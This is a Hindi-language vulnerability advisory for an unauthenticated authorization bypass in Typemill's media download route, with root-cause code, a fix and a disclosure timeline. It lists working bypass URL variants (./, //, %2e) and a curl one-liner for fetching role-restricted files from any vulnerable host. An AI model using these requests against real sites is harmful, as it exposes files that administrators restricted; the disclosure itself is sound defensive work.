
Typemill मीडिया डाउनलोड में अनधिकृत प्राधिकरण बायपास के लिए एडवाइज़री और PoC, जो भूमिका-प्रतिबंधित फ़ाइलों तक पहुँचने के लिए पथ-समतुल्य URL वेरिएंट का उपयोग करता है।
प्रतिबंध कच्चे अनुरोध पथ पर आधारित है; फ़ाइल OS-रिज़ॉल्व्ड पथ से पढ़ी जाती है — दोनों में असहमति है
एक नज़र में · सारांश · मूल कारण · हमला श्रृंखला · एक्सप्लॉइट · उपाय · समयरेखा
Typemill व्यवस्थापक को media/files/filerestrictions.yaml के माध्यम से व्यक्तिगत मीडिया फ़ाइलों को किसी विशिष्ट उपयोगकर्ता भूमिका तक सीमित करने की सुविधा देता है। सार्वजनिक डाउनलोड रूट को उस प्रतिबंध का पालन करना चाहिए — लेकिन यह प्रतिबंध की जाँच कच्चे अनुरोध पथ (raw request path) के विरुद्ध करता है जबकि बाइट्स फ़ाइलसिस्टम-रिज़ॉल्व्ड पथ से परोसता है। चूँकि एक ही फ़ाइल के कई पथ-समतुल्य रूप होते हैं (./name, //name, %2e/name), एक हमलावर ऐसा वेरिएंट चुनता है जो प्रतिबंध कुंजी से मेल नहीं खाता फिर भी डिस्क पर उसी फ़ाइल में रिज़ॉल्व होता है।
इस रूट पर कोई प्रमाणीकरण मिडलवेयर नहीं है, इसलिए परिणाम उन फ़ाइलों का पूर्ण रूप से बिना प्रमाणीकरण डाउनलोड है जिन्हें स्पष्ट रूप से एक भूमिका तक लॉक किया गया था।
डाउनलोड रूट सार्वजनिक है — इस पर कोई auth मिडलवेयर नहीं है:
// system/routes/web.php
$app->get('/media/files/{params:.*}', ...ControllerWebDownload::class . ':download');
system/typemill/Controllers/ControllerWebDownload.php के अंदर, एक्सेस-कंट्रोल निर्णय और फ़ाइल रीड एक ही पथ के दो अलग-अलग रूपों का उपयोग करते हैं:
// Restriction is looked up with the RAW, un-normalized request parameter:
if (isset($restrictions['media/files/' . $args['params']])) {
// ... enforce role restriction (redirect to login if not allowed)
}
// ... but the bytes are served from the OS-resolved path:
$content = file_get_contents($base . $params);
validate() केवल शाब्दिक .. अनुक्रम को अस्वीकार करता है — यह ./ या // को नॉर्मलाइज़ नहीं करता, और न ही प्रतिशत-एन्कोडेड समकक्षों को अस्वीकार करता है। इसलिए प्रतिबंध कुंजी और वह फ़ाइल जो वास्तव में पढ़ी जाती है, एक-दूसरे से बेमेल हो जाते हैं:
यह बग क्लासिक "प्राधिकरण निर्णय और संसाधन एक्सेस अलग-अलग, हमलावर-नियंत्रणीय स्ट्रिंग्स पर आधारित" पैटर्न है (CWE-639/CWE-863)। $_SERVER['REQUEST_URI'] Apache के अंतर्गत भी कच्चा (raw) रहता है, इसलिए यह सर्वर-विशिष्ट नहीं है।
flowchart LR
A[Admin restricts<br/>media/files/secret.pdf<br/>to role 'editor'] --> B[Anon requests<br/>/media/files/secret.pdf]
B --> C{Restriction key<br/>matches raw path?}
C -->|yes| D[302 → login<br/>🔒 blocked]
A --> E[Anon requests<br/>/media/files/%2e/secret.pdf]
E --> F{Restriction key<br/>matches raw path?}
F -->|no| G[file_get_contents resolves<br/>./ // %2e to same file]
G --> H[200 OK<br/>🟢 file leaked]filerestrictions.yaml में एक भूमिका तक सीमित करता है।exploit/exploit.py इस समस्या को स्थानीय परीक्षण कंटेनर के विरुद्ध शुरू से अंत तक (end-to-end) दोहराता है। यह (1) "एडमिन" द्वारा editor भूमिका तक सीमित एक निजी फ़ाइल डालवाता है, (2) पुष्टि करता है कि कैननिकल URL अज्ञात उपयोगकर्ता के लिए अवरुद्ध है, फिर (3) उसी फ़ाइल को प्रत्येक पथ-समतुल्य वेरिएंट के माध्यम से डाउनलोड करता है।
# Bring up a local Typemill < 2.26.0 as container "typemill-test" on :8099, then:
python3 exploit/exploit.py
अपेक्षित आउटपुट:
[CONTROL] GET /media/files/secret.pdf -> http=302 (restriction enforced)
[BYPASS ] GET /media/files/./secret.pdf -> http=200 leaked=True
[BYPASS ] GET /media/files//secret.pdf -> http=200 leaked=True
[BYPASS ] GET /media/files/%2e/secret.pdf -> http=200 leaked=True
>>> VULNERABLE: unauthenticated download of a role-restricted file (CWE-639)
किसी भी कमजोर होस्ट के विरुद्ध वन-लाइनर (केवल अधिकृत परीक्षण के लिए):
curl -s 'https://TARGET/media/files/%2e/restricted-file.pdf' -o loot.pdf

realpath() से रिज़ॉल्व करें और मीडिया बेस डायरेक्टरी के अंतर्गत समाहित (containment) की पुष्टि करें, तथा प्रतिशत-एन्कोडेड पथ सेपरेटर को अस्वीकार करें।| दिनांक | घटना |
|---|---|
| 2026-08-04 | Typemill 2.25.0 में कमजोरी खोजी गई; PoC को Docker पर शुरू से अंत तक सत्यापित किया गया |
| 2026-08-04 |
केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उपयोग के लिए। © @IlhomjonR
| CVE आईडी | CVE-2026-71518 |
| उत्पाद | typemill/typemill — Typemill (फ्लैट-फ़ाइल PHP CMS, Slim 4) |
| प्रभावित | सभी संस्करण < 2.26.0 (2.25.0, कमिट 8f3901c पर सत्यापित) |
| समाधान | 2.26.0 में |
| कमजोरी | CWE-863 (गलत प्राधिकरण) · CWE-639 (उपयोगकर्ता-नियंत्रित कुंजी के माध्यम से प्राधिकरण बाईपास) |
| CVSS v3.1 | 7.5 — उच्च · AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| CVSS v4.0 | 8.7 — उच्च |
| वेक्टर | नेटवर्क · कोई प्रमाणीकरण नहीं · कोई उपयोगकर्ता इंटरैक्शन नहीं |
| प्रभाव | व्यवस्थापक द्वारा विशेषाधिकार प्राप्त भूमिका तक सीमित मीडिया फ़ाइलों का बिना प्रमाणीकरण डाउनलोड |
| शोधकर्ता | Ilhomjon Rustamov (@IlhomjonR) |
| अनुरोध पथ | प्रतिबंध कुंजी मेल खाई? | डिस्क पर रिज़ॉल्व हुई फ़ाइल | परिणाम |
|---|
/media/files/secret.pdf | ✅ हाँ | secret.pdf | 🔒 अवरुद्ध (302 → लॉगिन) |
/media/files/./secret.pdf | ❌ नहीं | secret.pdf | 🟢 परोसा गया (200) |
/media/files//secret.pdf | ❌ नहीं | secret.pdf | 🟢 परोसा गया (200) |
/media/files/%2e/secret.pdf | ❌ नहीं | secret.pdf | 🟢 परोसा गया (200) |
| अनुरक्षक / VulnCheck को रिपोर्ट किया गया |
| — | Typemill 2.26.0 में ठीक किया गया |
| 2026-08-18 | CVE-2026-71518 सार्वजनिक; एडवाइजरी + PoC जारी |